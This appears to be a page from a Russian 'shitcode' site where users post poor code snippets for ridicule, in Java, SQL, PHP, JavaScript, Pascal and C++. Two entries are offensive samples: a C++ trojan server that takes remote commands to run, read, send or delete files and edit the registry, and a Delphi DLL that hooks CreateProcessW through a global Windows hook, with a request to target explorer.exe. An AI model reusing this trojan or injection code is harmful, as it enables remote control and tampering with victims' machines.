1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #15657

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    private void CopyFiles(String dirName) {
    	InputStream is = this.getClass().getResourceAsStream(
    			"/18.xslt");
    	OutputStream os;
    	try {
    		os = new FileOutputStream(dirName + "/18.xslt");
    		byte[] buffer = new byte[4096];
    		int length;
    		while ((length = is.read(buffer)) > 0) {
    			os.write(buffer, 0, length);
    		}
    		os.close();
    		is.close();
    		is = this.getClass().getResourceAsStream(
    				"/13_02.tif");
    		os = new FileOutputStream(dirName + "/13_02.tif");
    		while ((length = is.read(buffer)) > 0) {
    			os.write(buffer, 0, length);
    		}
    		os.close();
    		is.close();
    		is = this.getClass().getResourceAsStream("/13_02.xslt");
    		os = new FileOutputStream(dirName + "/13_02.xslt");
    		while ((length = is.read(buffer)) > 0) {
    			os.write(buffer, 0, length);
    		}
    		os.close();
    		is.close();
    		is = this.getClass().getResourceAsStream(
    				"/13_02_t.tif");
    		os = new FileOutputStream(dirName + "/13_02_t.tif");
    		while ((length = is.read(buffer)) > 0) {
    			os.write(buffer, 0, length);
    		}
    		os.close();
    		is.close();
    		is = this.getClass().getResourceAsStream(
    				"/13_02_t.xslt");
    		os = new FileOutputStream(dirName + "/13_02_t.xslt");
    		while ((length = is.read(buffer)) > 0) {
    			os.write(buffer, 0, length);
    		}
    		os.close();
    		is.close();
    	} catch (FileNotFoundException e1) {
    		e1.printStackTrace();
    	} catch (IOException e) {
    		e.printStackTrace();
    	}
    }

    evg_ever, 03 Апреля 2014

    Комментарии (16)
  3. C++ / Говнокод #15551

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    // ServSckt - наш компонент TServerSocket
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    }
     
    void __fastcall TForm1::ServScktClientRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                      // информации, которую передаем как параметр этой функции
    }
    //---------------------------------------------------------------------------
    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
    void TForm1::RecCommand (String received)
    {
    int cn;
    TTrojanUtilites Utilz;  // создаем объект наших утилит 
    Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                    // находится на форме, а TTrojanUtilites не имеет никакого отношения
                    // к форме. Просто передаем указатель на TServerSocket
    String temp;
    temp=received;
    temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
    cn = StrToInt(temp);       // преобразуем в число
    received.Delete(1,1);      // удаляем код команды - остаются одни параметры
    switch (cn) {         // в соответсвии с полученой командой 
                                    // запускаем соотвествующую утилиту 
    case 1 : Utilz.RestartMachine(); break;  // перезагрузка
    case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
    case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
    case 4 : Utilz.SendFile(received); break;       // чтение файла
    case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
    case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
    case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
    case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
    case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
    default:
    SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                               // информируем клиента об этом
    }
    }

    NAT, NAT... Да что вы пристали со своим NAT?!
    Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

    gost, 21 Марта 2014

    Комментарии (16)
  4. SQL / Говнокод #15521

    −115

    1. 1
    SELECT `1`,`4` FROM `kada-region` WHERE `2` = "SAV" ORDER BY `7`

    Комментариев нет. Кроме нескольких, типы столбцов int. Догадайся что есть что.

    Nerfair, 18 Марта 2014

    Комментарии (16)
  5. PHP / Говнокод #15395

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    <?php
    function get_md5($filename){
    return md5_file($filename)
    }
    echo "get_md5($_POST)";
    ?>

    Только начал php, посоветуйте литературу Х)

    VityaPW, 08 Марта 2014

    Комментарии (16)
  6. JavaScript / Говнокод #15215

    +178

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    // Performance optimization: http://jsperf.com/apply-vs-call-vs-invoke
    switch (self ? -1 : args.length) {
        case  0: return fn();
        case  1: return fn(args[0]);
        case  2: return fn(args[0], args[1]);
        case  3: return fn(args[0], args[1], args[2]);
        case  4: return fn(args[0], args[1], args[2], args[3]);
        case  5: return fn(args[0], args[1], args[2], args[3], args[4]);
        case  6: return fn(args[0], args[1], args[2], args[3], args[4], args[5]);
        case  7: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
        case  8: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
        case  9: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8]);
        case 10: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9]);
        default: return fn.apply(self, args);
    }

    Привет от Angular!

    Данный фрагмент присутствовал в официальном коде фреймворка с первой stable-версии и был бесчеловечно вырезан буквально пару месяцев назад (с 1.2.5 релиза).

    https://ajax.googleapis.com/ajax/libs/angularjs/1.2.4/angular.js

    dhilt, 27 Февраля 2014

    Комментарии (16)
  7. Pascal / Говнокод #14988

    +115

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    library ch;
    uses
      Windows,SysUtils,controls,graphics,extctrls,shellapi,Unit1 in 'Unit1.pas' {Form1};
    type
      NTStatus = cardinal;
      far_jmp = packed record
        push: byte;
        PProc: pointer;
        ret: byte;
      end;
      OldCode = packed record
        one: dword;
        two: dword;
      end;
    const
      STATUS_ACCESS_DENIED = NTStatus($C0000022);
      STATUS_SUCCESS = NTStatus($00000000);
    function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
      lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
      bInheritHandles: BOOL; dwCreationFlags: dword; lpEnvironment: pointer;
      lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
      var lpProcessInformation: TProcessInformation): BOOL; stdcall;
      external 'kernel32.dll' name 'CreateProcessW';
    var
      CPA: pointer;
      OldCPA: OldCode;
      JmpCPA: far_jmp;
      b:cardinal;
    
    procedure UnHook;
    begin
      WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
    end;
    
    function FalseCreateProcessW():boolean;
    begin
      SetLastError(ERROR_ACCESS_DENIED);
      result:=falsecreateprocessw
    end;
    function TrueCreateProcessW(lpApplicationName: PWideChar;
      lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
      : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
      lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
      const lpStartupInfo: TStartupInfo;
      var lpProcessInformation: TProcessInformation): BOOL; stdcall;
    begin
      WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
      Result := CreateProcessW(lpApplicationName, lpCommandLine,
        lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
        lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
      WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
    end;
     function NewCreateProcessW(lpApplicationName: PWideChar;
      lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
      : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
      lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
      const lpStartupInfo: TStartupInfo;
      var lpProcessInformation: TProcessInformation): bool; stdcall;
      var
        reason:string;
    begin
      result:=true;// подавляем ошибку "Доступ запрещен"
     // если что-то нам не понравилось, выходм
      else
      // или выполняем командную строку 
        Result := TrueCreateProcessW(lpApplicationName, lpCommandLine,
        lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
        lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
    end;
    procedure SetHook;
    begin
       CPA := GetProcAddress(getmodulehandle('kernel32.dll'), 'CreateProcessW');
       ReadProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
       JmpCPA.push := $68;
       JmpCPA.PProc := @NewCreateProcessW;
       JmpCPA.ret := $C3;
       WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
    
    end;
    function MessageProc(code: integer; wParam: word; lParam: longint)
      : longint; stdcall;
    begin
      Result := CallNextHookEx(0, code, wParam, lParam);
    end;
    procedure SetGlobalHookProc();
    begin
      SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
      sleep(infinite);
    end;
    procedure SetGlobalHook();
    var
      //hMutex: dword;
      TrId: dword;
    begin
        CreateMutex(nil, False, 'Vhook@016');
        if GetLastError = 0 then
        CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, trid)
    end;

    procedure DLLEntryPoint(dwReason: dword);
    begin
    case dwReason of
    DLL_PROCESS_ATTACH:
    begin
    SetHook;
    SetGlobalHook;
    end;
    DLL_PROCESS_DETACH:
    begin
    UnHook;
    end;
    end;
    end;
    begin
    DllProc := @DLLEntryPoint;
    DLLEntryPoint(DLL_PROCESS_ATTACH);
    end.


    Товарищи, как можно поправить этот код, чтобы библиотека подгружалась только к процессу "explorer.exe" и патчила в его памяти CreateProcessW?

    Stertor, 26 Февраля 2014

    Комментарии (16)
  8. C++ / Говнокод #14949

    +37

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    long* Service::qByteToLongArray(QByteArray qba, long r)
    {
        long* larr = new long[r];
    
        char *carr;
        carr = (char*)larr;
    
        int len = r * sizeof(long);//length in bytes
    
        for(int i=0; i < len; i++)
            carr[i] = qba.at(i);
    
        return larr;
    }
    
    QByteArray Service::longToQByteArray(long **larr2, long r, long c)
    {
        QByteArray qba;// = new QByteArray();
    
        char **carr2;
        carr2 = (char**)larr2;
    
        int rlen = c * sizeof(long);//length of row in bytes
    
        for(int i=0; i < r; i++){
            qba.append(carr2[i], rlen);//add next row of matrix to the QByteArray
        }
    
        return qba;
    }

    Нашли это, только когда собрали под x64.

    Abbath, 25 Февраля 2014

    Комментарии (16)
  9. Pascal / Говнокод #14530

    +125

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    var
      generalPtr : Pointer;  // Указатель на что-нибудь
      formPtr    : ^TForm;   // Указатель на объект формы
    
    begin
      // Форма текущего модуля адресуемая через ключевое слово self
      generalPtr := Addr(self);
    
      // Мы можем присвоить этот указатель указателю формы
      formPtr := generalPtr;
    
      // И установить заголовок формы, чтобы показать это
      formPtr.Caption := 'Test program';
    end;
    Форма будет показана с з[color=red]а[/color]галовком:
    
    Test program

    http://www.delphibasics.ru/Pointer.php

    Stertor, 09 Февраля 2014

    Комментарии (16)
  10. C++ / Говнокод #14519

    +51

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #include <iostream>
    using namespace std;
    
    int main() {
        const int ci = 42;
        auto f = [ci]() mutable { std::cout << ++ci << '\n'; };
        f();
        return 0;
    }

    http://ideone.com/0P72sN
    А слона то я и не приметил.

    LispGovno, 07 Февраля 2014

    Комментарии (16)
  11. C++ / Говнокод #14396

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    class Base
    {
      void fooo() { ... }
    };
    class Derived
    {
      void fooo() { ... }
    };
    void DoSmth (Base& b)
    {
      b.fooo();
    };
    Derived d; 
    DoSmth(d); // полная статика, так что там внутри вызовется метод базы
    void DoSmth (polymorth<Base>& b) // это структура, которая хранит ссылку на объект и ссылку на таблицу методов
    {
      b.fooo();
    };
    polymorth<Base>b = Derived(); 
    // инициализация при объявлении, чтобы было понятно, сколько памяти выделить
    // в структуре записалась таблица методов Derived
    DoSmth(b);  // вызовется метод наследника
    ...
    // в конце вызывается деструктор наследника

    Творчество оттуда.
    "Основная идея - избавить от вопроса "делать ли деструктор виртуальным"

    LispGovno, 22 Января 2014

    Комментарии (16)